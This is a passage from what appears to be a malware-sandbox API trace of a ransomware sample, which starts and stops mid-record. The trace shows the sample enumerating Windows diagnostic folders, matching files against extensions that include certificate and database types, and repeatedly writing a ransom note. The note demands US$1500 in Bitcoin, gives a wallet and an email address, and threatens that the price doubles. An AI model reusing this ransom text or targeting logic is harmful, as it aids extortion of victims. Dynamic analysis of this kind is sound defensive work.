[0125.646] lstrlenA (lpString="*.msg") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.edb") returned 0 [0125.646] lstrlenA (lpString="*.edb") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.accdb") returned 0 [0125.646] lstrlenA (lpString="*.accdb") returned 7 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.odb") returned 0 [0125.646] lstrlenA (lpString="*.odb") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.java") returned 0 [0125.646] lstrlenA (lpString="*.java") returned 6 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.asm") returned 0 [0125.646] lstrlenA (lpString="*.asm") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.pfx") returned 0 [0125.646] lstrlenA (lpString="*.pfx") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.pem") returned 0 [0125.646] lstrlenA (lpString="*.pem") returned 5 [0125.646] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.p12") returned 0 [0125.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23815cbe, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0125.647] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0125.647] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0125.647] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll") returned="DiagPackage.dll" [0125.647] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US" [0125.647] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23815cbe, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0125.648] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.648] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23815cbe, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0125.648] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.648] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.648] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0125.648] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0125.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0125.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0125.648] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0125.648] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\*.*") returned="*.*" [0125.648] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" [0125.648] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\") returned="" [0125.649] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" [0125.649] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0125.649] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.650] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.650] CloseHandle (hObject=0xffffffff) returned 0 [0125.650] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\CL_LocalizationData.psd1" [0125.650] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0125.650] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0125.651] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0125.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0125.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0125.651] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0125.651] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0125.651] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" [0125.651] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\") returned="" [0125.651] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" [0125.651] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0125.651] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.652] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.652] CloseHandle (hObject=0xffffffff) returned 0 [0125.652] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\DiagPackage.dll.mui" [0125.652] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0125.652] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0125.652] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0125.652] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114211d5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x114211d5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7385cef, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_AdminDiagnosticHistory.ps1", cAlternateFileName="")) returned 1 [0125.652] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.652] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AdminDiagnosticHistory.ps1") returned -1 [0125.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AdminDiagnosticHistory.ps1") returned -1 [0125.653] lstrcmpiA (lpString1="", lpString2="RS_AdminDiagnosticHistory.ps1") returned -1 [0125.653] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\*.*") returned="*.*" [0125.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.653] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.653] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.653] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.653] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.653] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.653] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.654] CloseHandle (hObject=0xffffffff) returned 0 [0125.654] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_AdminDiagnosticHistory.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_AdminDiagnosticHistory.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_AdminDiagnosticHistory.ps1" [0125.654] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11447332, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11447332, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7385cef, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_MachineWERQueue.ps1", cAlternateFileName="")) returned 1 [0125.654] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_MachineWERQueue.ps1") returned -1 [0125.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_MachineWERQueue.ps1") returned -1 [0125.654] lstrcmpiA (lpString1="", lpString2="RS_MachineWERQueue.ps1") returned -1 [0125.654] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_AdminDiagnosticHistory.ps1") returned="RS_AdminDiagnosticHistory.ps1" [0125.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.654] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.654] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.655] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.655] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.655] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.655] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.655] CloseHandle (hObject=0xffffffff) returned 0 [0125.655] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_MachineWERQueue.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_MachineWERQueue.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_MachineWERQueue.ps1" [0125.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1146d48f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1146d48f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd73abe4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RemoveShortcuts.ps1", cAlternateFileName="")) returned 1 [0125.656] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_RemoveShortcuts.ps1") returned -1 [0125.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_RemoveShortcuts.ps1") returned -1 [0125.656] lstrcmpiA (lpString1="", lpString2="RS_RemoveShortcuts.ps1") returned -1 [0125.656] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_MachineWERQueue.ps1") returned="RS_MachineWERQueue.ps1" [0125.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.656] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.656] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.656] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.656] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.657] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.657] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.657] CloseHandle (hObject=0xffffffff) returned 0 [0125.657] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_RemoveShortcuts.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveShortcuts.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveShortcuts.ps1" [0125.657] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114935ec, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x114935ec, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd73d1fab, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RemoveUnusedDesktopIcons.ps1", cAlternateFileName="")) returned 1 [0125.657] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_RemoveUnusedDesktopIcons.ps1") returned -1 [0125.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_RemoveUnusedDesktopIcons.ps1") returned -1 [0125.657] lstrcmpiA (lpString1="", lpString2="RS_RemoveUnusedDesktopIcons.ps1") returned -1 [0125.658] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveShortcuts.ps1") returned="RS_RemoveShortcuts.ps1" [0125.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.658] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.658] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.658] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.658] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.658] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.658] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.658] CloseHandle 